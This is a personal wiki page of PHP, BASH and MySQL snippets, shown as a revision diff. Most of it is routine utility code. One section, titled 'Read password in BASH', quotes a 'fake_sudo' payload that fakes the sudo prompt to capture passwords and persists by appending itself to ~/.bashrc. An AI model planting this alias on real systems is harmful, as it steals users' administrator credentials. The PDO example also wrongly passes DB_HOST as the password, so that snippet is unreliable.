Difference between revisions of "John's hacks"

From ProgClub
Jump to: navigation, search
Line 673: Line 673:
  
 
  SET unique_checks = 0;
 
  SET unique_checks = 0;
 +
 +
== MySQL database size ==
 +
 +
$ mysql -e 'SELECT table_schema AS "Database", round(SUM(data_length + index_length) / 1024 / 1024, 1 ) AS "Size (MB)" FROM information_schema.TABLES GROUP BY table_schema order by 2 desc'

Revision as of 07:35, 1 July 2021

I decided I might start documenting some hacks I've come across in my travels which I think are neat. You might also be interested in John's Linux page.

Some things I use all the time but can never remember:

PHP

PHP CLI boilerplate

function main( $argv ) {

  // 2020-07-03 jj5 - SEE: http://php.net/manual/en/function.set-exception-handler.php
  //
  //set_exception_handler( 'handle_exception' );

  // 2020-07-03 jj5 - SEE: http://php.net/manual/en/function.set-error-handler.php
  //
  set_error_handler( 'handle_error', ~0 );

  // 2021-03-04 jj5 - all multibyte stuff should be UTF-8...
  //
  mb_internal_encoding( 'UTF-8' );
  mb_regex_encoding( 'UTF-8' );
  mb_http_input( 'UTF-8' );
  mb_http_output( 'UTF-8' );

  // 2021-02-25 jj5 - SEE: how to configure mail message encoding:
  // https://www.php.net/manual/en/function.mb-language.php
  //
  mb_language( 'uni' );

  // 2019-08-01 jj5 - SEE: apparently this is important in some situations:
  // https://stackoverflow.com/a/1287209
  //
  // 2021-03-04 jj5 - NOTE: if this is annoying you or creating a problem let me know at
  // jj5@progclub.org and we'll figure out what we need to do...
  //
  setlocale( LC_CTYPE, 'en_AU.UTF8' );

}

function handle_error( $errno, $errstr, $file, $line ) {

  if ( error_reporting() === 0 ) { return; }

  throw new ErrorException( $errstr, $errno, E_ERROR, $file, $line );

}

function handle_exception( $ex ) {

}

main( $argv );

PHP parsing command-line args

 $input = 'default input';
 $output = 'default output';
 $files = [];
 $command = array_shift( $argv );
 while ( count( $argv ) ) {
   $arg = array_shift( $argv );
   switch ( $arg ) {
   case '--input' : $input = array_shift( $argv ); break;
   case '--output' : $output = array_shift( $argv ); break;
   case '--' : break;
   default : $files[] = $arg;
   }
 }
 $files = array_merge( $files, $argv );
 var_dump( $files );

Removing last comma in PHP

Sometimes you're processing a list to build a string and you want a comma after all items except the last one. You can do that like this:

// 2020-04-14 jj5 - it's important to handle this case...
//
if ( count( $list ) === 0 ) { return 'list is empty'; }

$result = 'my list: ';
$is_first = true;

foreach ( $list as $item ) {

  if ( $is_first ) {

    $is_first = false;

  }
  else {

    $result .= ', ';

  }

  $result .= $item;

}

return $result . '.';

But that can be simplified like this:

// 2020-04-14 jj5 - it's important to handle this case...
//
if ( count( $list ) === 0 ) { return 'list is empty'; }

$result = 'my list: ';

foreach ( $list as $item ) {

  $result .= "$item, ";

}

// 2020-04-14 jj5 - the neat hack is dropping the last two characters here...
//
return substr( $result, 0, -2 ) . '.';

Although the whole thing can often (but not always) be simplified as something like this (you might also need to check for an empty list):

return 'my list: ' . implode( ', ', $list ) . '.';

Passing shell args in PHP

Put your args in $args and use escapeshellarg() to escape them...

$args = join( ' ', array_map( 'escapeshellarg', $args ) );

exec( "$program $args" );

PHP sydtime timestamp

$timestamp = date( 'Y-m-d-His' );

Format bytes in PHP

There's some good discussion about which to use here (tldr: use the SI units).

These functions stolen/adapted from here and here:

function format_bytes( int $bytes ) {

  static $units = [ 'B','kB','MB','GB','TB','PB', 'EB' ];

  $exp = intval( log( $bytes, 1000 ) );

  return format_significant_digits( $bytes / pow( 1000, $exp ) ) . ' ' . $units[ $exp ];

}

function format_bytes_oldskool( int $bytes ) {

  static $units = [ 'B','KiB','MiB','GiB','TiB','PiB', 'EiB' ];

  $exp = intval( log( $bytes, 1024 ) );

  return format_significant_digits( $bytes / pow( 1024, $exp ) ) . ' ' . $units[ $exp ];

}

function format_significant_digits( float $value, int $digits = 2 ) {

  if ( $value == 0 ) {

    $dp = $digits - 1;

  }
  elseif ( $value < 0 ) {

    $dp = $digits - intval( log10( $value * -1 ) ) - 1;

  }
  else {

    $dp = $digits - intval( log10( $value ) ) - 1;

  }

  return number_format( $value, $dp );

}

To get memory usage, e.g.:

echo format_bytes( memory_get_usage( true ) );

PHP parse email address

See imap_rfc822_parse_adrlist.

PHP compose email address

See imap_rfc822_write_address. For just the address pass $personal = ''.

PHP ISO datetime

$now = new DateTime();
return $now->format( 'Y-m-d H:i:s' );

PHP pushd and popd

function pushd( $path ) {

 static $stack = [];

 if ( $path === null ) {

   if ( count( $stack ) === 0 ) { return false; }

   array_pop( $stack );

   $path = end( $stack );

   if ( $path === false ) { return false; }

   chdir( $path ) or fail( "cannot popd to '$path'." );

 }
 else {

   if ( count( $stack ) === 0 ) { $stack[] = getcwd(); }

   $path = realpath( $path );

   chdir( $path ) or fail( "cannot pushd to '$path'." );

   array_push( $stack, $path );

 }

 return $path;

}

function popd() {

 return pushd( null );

}

PHP standard I/O

function stdout( $output ) {

  echo $output;

}

function stderr( $output ) {

  fwrite( STDERR, $output );

}

PHP enumerating files depth-first

This is one way:

protected function process() {

  $files = array_diff( scandir( '.', SCANDIR_SORT_ASCENDING ), [ '.', '..' ] );

  foreach ( $files as $file ) {

    if ( is_link( $file ) ) {

      continue;
 
    }

    if ( is_dir( $file ) ) {

      chdir( $file );

      $this->process();

      chdir( '..' );

      continue;

    }

    if ( ! preg_match( '/\.php$/', $file ) ) { continue; }

    echo "$file\n";

  }
}

This is another way:

 public function get_file_list( $dir, $filename_filter_regex = '/.+/' ) {

   // 2021-04-12 jj5 - SEE: The RecursiveDirectoryIterator class:
   // https://www.php.net/manual/en/class.recursivedirectoryiterator.php
   //
   // 2021-04-12 jj5 - NOTE: I searched the above for 'sort' but didn't find anything so I just
   // get the file list here then sort it myself below...

   $file_list = [];
   $dir_iterator = new RecursiveDirectoryIterator( $dir );
   $iterator = new RecursiveIteratorIterator( $dir_iterator, RecursiveIteratorIterator::SELF_FIRST );

   foreach ( $iterator as $file ) {

     if ( ! preg_match( $filename_filter_regex, $file ) ) { continue; }

     $file_list[] = $file;

   }

   usort( $file_list, 'strcmp' );

   return $file_list;

 }

PHP PDO

I usually define some constants in the config.php file:

define( 'DB_HOST', 'localhost' );
define( 'DB_NAME', 'mysql' );
define( 'DB_USER', 'jj5' );
define( 'DB_PASS', 'secret' );

And I define default options something like this:

$options = [

   // 2019-07-08 jj5 - standard PDO settings...
   //
   PDO::ATTR_ERRMODE                   => PDO::ERRMODE_EXCEPTION,

   // 2019-07-08 jj5 - this is a little bit meddlesome, but we do it to
   // fix up INFORMATION_SCHEMA artefacts which are annoyingly upper case.
   //
   PDO::ATTR_CASE                      => PDO::CASE_LOWER,

   PDO::ATTR_ORACLE_NULLS              => PDO::NULL_NATURAL,
   PDO::ATTR_STRINGIFY_FETCHES         => false,
   PDO::ATTR_TIMEOUT                   => 20,
   PDO::ATTR_AUTOCOMMIT                => 1, // <-- or zero for no auto commit
   PDO::ATTR_EMULATE_PREPARES          => false,
   PDO::ATTR_DEFAULT_FETCH_MODE        => PDO::FETCH_ASSOC,
   PDO::ATTR_PERSISTENT                => 0,

   // 2019-07-08 jj5 - MySQL specific settings...
   //
   PDO::MYSQL_ATTR_MULTI_STATEMENTS    => 0,

];

Then we can create a PDO object like this:

$db_host = DB_HOST;
$db_name = DB_NAME;

$pdo = new PDO( "mysql:host=$db_host;dbname=$db_name;charset=utf8mb4", DB_USER, DB_HOST, $options );

Once you have a PDO connection you can do various things:

$pdo->exec( "SET TIME_ZONE = 'Australia/Sydney'" );
// 2018-07-20 jj5 - SEE: SQL Mode:
// https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html
//
$pdo->exec( "SET SQL_MODE='TRADITIONAL'" );
// 2019-07-08 jj5 - SEE: SET TRANSACTION:
// https://mariadb.com/kb/en/library/set-transaction/
//
$pdo->exec( "SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ" );
// 2019-07-08 jj5 - SEE: SET NAMES Syntax:
// https://dev.mysql.com/doc/refman/5.7/en/set-names.html
//
// 2019-07-08 jj5 - SEE: Why is table CHARSET set to utf8mb4 and COLLATION
// to utf8mb4_unicode_520_ci:
// https://stackoverflow.com/a/43692337
//
$pdo->exec( 'SET NAMES utf8mb4 COLLATE utf8mb4_unicode_520_ci' );
$client = $pdo->getAttribute( PDO::ATTR_CLIENT_VERSION );
$stmt = $pdo->query( 'select connection_id() as connection_id' );
$stmt->execute();
$connection_id = $stmt->fetchAll()[ 0 ][ 'connection_id' ];
$stmt->closeCursor();
$stmt = $pdo->prepare( 'select * from user', [ PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => 0 ] );
$stmt->execute();
$users = $stmt->fetchAll();
$stmt->closeCursor();

PHP prepared statements and stored procedures

See the doco here: Prepared statements and stored procedures

BASH

BASH conditionals

  • string
    • -z string: length of string 0
    • -n string: length of string not 0
    • string1 = string2: strings are identical (note a single =)
  • numeric
    • int1 -eq int2: first int equal to second
    • -ne, -gt, -ge, -lt, -le: not-equal, greater-than, -greater-or-equal...
  • file
    • -r filename: file exists and is readable
    • -w filename: file exists and is writable
    • -f, -d, -s: regular file, directory, exists and not empty
  • logic
    • !, -a, -o: negate, logical and, logical or

BASH loops

  • Basic structure (three forms):
for i in {0..9}; do echo $i; done
for ((i=0;i<10;i++)){ echo $i;} #C-like
for var in list; do command; done #'python-like'
  • often used with command substitution:
for i in $(\ls -1 *.txt); do echo "$i"; done
for i in $(get_files.sh); do upload.sh "$i"; done

BASH heredoc

cat << EOF > output.txt
  a
  b
  c
EOF
cat << EOF | process.sh
  a
  b
  c
EOF
process.sh << EOF
  a
  b
  c
EOF
bash << EOF
echo "Hello, world."
EOF

Configuring BASH for safety

Use:

set -euo pipefail

See set builtin for details.

You might also like:

shopt -s nullglob

See shopt builtin for details.

Reading command-line args in BASH

For example:

local args=();

while [[ "$#" > 0 ]]; do

  args+=( "$1" );

  shift;

done;

Or like this:

# 2017-07-19 jj5 - set our default options...
local eg_opt_1='default';
local eg_opt_2='default';
local eg_opt_flag=0;

# 2017-07-19 jj5 - parse our command-line options...
while [[ "$#" > 0 ]]; do
  case "$1" in
  --eg-opt-1) eg_opt_1="$2"; shift; shift;;
  --eg-opt-2) eg_opt_2="$2"; shift; shift;;
  --eg-opt-flag) eg_opt_flag=1; shift;;
  --) break;;
  *) break;;
  esac;
done;

Or like this:

for arg in "$@"; do
  echo $arg;
done;

Passing shell args in BASH

As can be seen for example here.

local args=();
args+=( --human-readable );
args+=( --acls --xattrs );
args+=( --recursive --del --force );
args+=( --times --executability --perms );
args+=( --links --hard-links --sparse );
args+=( --numeric-ids --owner --group );
args+=( --compress-level=6 );
whatever "${args[@]}";

Numeric if statements in BASH

if (( a == 1 )); then ...; fi
if (( a > 0 && a <= 2 )); then ...; fi 
if (( a > 0 && a <= 3 )); then ...; fi
if (( a == 4 )); then ...; fi

Finding next available log file in BASH

local i=1;

while true; do

  local log=/var/tmp/whatever.sh.log.$i

  [ ! -f "$log" ] && break;

  i=$(( i + 1 ));

done;

Totaling file size from 'du' with human readable output

To print the total size of *.tgz files in $PWD...

du *.tgz | awk '{sum += $1} END {print sum}' | awk '{total = $1/1024/1024; print total "GB"}'

Or with rounding:

du *.tgz | awk '{sum += $1} END {print sum}' | awk '{total = $1/1024/1024; printf "%3.0fGB\n", total}'

Read password in BASH

This fake_sudo (taken from here) demonstrates how to read a password in BASH:

# Create payload: replace sudo with an alias
payload='
    fake_sudo() {
        # Simulate a sudo prompt
        echo -n "[sudo] password for ${USER}: "
        read -s password
        echo
        # Run your command so you are happy
        echo "$password" | sudo -S "$@"
        # Do my evil stuff with your password
        echo "Done with your command, now I could use $password to do what I want"
    }
    alias sudo=fake_sudo
'

# Write the payload to the bashrc config file
echo "$payload" >> ~/.bashrc

Listing shebangs for perl scripts

This one from Jedd:

( for i in `file * | grep -i perl | awk -F':' '{print $1}'`; do head -1 ${i}; done  ) | sort | uniq -c

Grabbing IP address data

Taken from here. This is also a good example of feeding text data in an environment variable into a process using the '<<<' operator.

{ 
  RESP=$(curl -s "ipinfo.io") && \
  printf "%s - %s, %s, %s.\n" \
   "$(grep -Eo '"ip":.*?[^\\],' <<< "$RESP" | sed 's/^.*: "//;s/",//')" \
   "$(grep -Eo '"city":.*?[^\\],' <<< "$RESP" | sed 's/^.*: "//;s/",//')" \
   "$(grep -Eo '"region":.*?[^\\],' <<< "$RESP" | sed 's/^.*: "//;s/",//')" \
   "$(grep -Eo '"country":.*?[^\\],' <<< "$RESP" | sed 's/^.*: "//;s/",//')"; 
} || echo "lost - somewhere off the shoulder of Orion.";

Sorting and diffing

The following sorts two files and presents the differences between the results using the diff command:

$ diff -u <(sort file1) <(sort file2) | less

Enumerating associative array keys

declare -A arr

arr[a]=Bart
arr[b]=Lisa

for i in ${!arr[@]}; do

  echo $i;

done;

bc

Basic calculation with bc

bc <<< 48+36

Decimal to hex with bc

echo 'obase=16; ibase=10; 56' | bc

Arbitrary precision with bc

echo 'scale=8; 60/7.02' | bc

numfmt

Format number in SI units

numf numfmt --to=si 1000
1.0K

Convert number from IEC format

numfmt --from=iec 1K
1024

shuf

Generate a random number using shuf

shuf -i 1-100 -n 1

MySQL

MySQL progress

$ mysql -e 'select * from information_schema.processlist'

Or:

$ watch "mysql -t -e 'show processlist'"

Disable foreign key checks

SET foreign_key_checks = 0;

Disable unique index constraints

SET unique_checks = 0;

MySQL database size

$ mysql -e 'SELECT table_schema AS "Database", round(SUM(data_length + index_length) / 1024 / 1024, 1 ) AS "Size (MB)" FROM information_schema.TABLES GROUP BY table_schema order by 2 desc'